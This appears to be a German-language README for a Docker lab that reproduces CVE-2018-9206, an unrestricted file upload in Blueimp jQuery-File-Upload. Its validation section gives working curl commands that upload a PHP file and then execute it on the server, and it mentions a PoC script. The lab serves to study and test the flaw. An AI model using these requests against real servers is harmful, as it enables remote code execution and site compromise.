CVE-2018-9206 - Blueimp jQuery-File-Upload Labor

Verwundbare Docker-Umgebung für CVE-2018-9206 - Unbeschränkter Datei-Upload in Blueimp jQuery-File-Upload <= 9.22.0.

Schnellstart

docker compose up -d --build

App verfügbar unter: http://localhost:8888/jQuery-File-Upload/

Validierung

# Upload a PHP file
curl -X POST "http://localhost:8888/jQuery-File-Upload/server/php/index.php" \
  -F 'files[]=@/dev/stdin;filename=test.php' <<< '<?php echo "CVE-2018-9206-PWNED"; ?>'

# Execute it
curl "http://localhost:8888/jQuery-File-Upload/server/php/files/test.php"
# Output: CVE-2018-9206-PWNED

Oder das PoC-Skript ausführen:

./scripts/poc.sh

Bereinigung

docker compose down -v

Details

Feld	Wert
CVE	CVE-2018-9206
Produkt	Blueimp jQuery-File-Upload
Version	9.22.0
Typ	Unbeschränkter Datei-Upload → RCE
CVSS	9.8 (Kritisch)

Referenzen

• https://nvd.nist.gov/vuln/detail/CVE-2018-9206
• http://www.vapidlabs.com/advisory.php?v=204
• https://www.exploit-db.com/exploits/45790/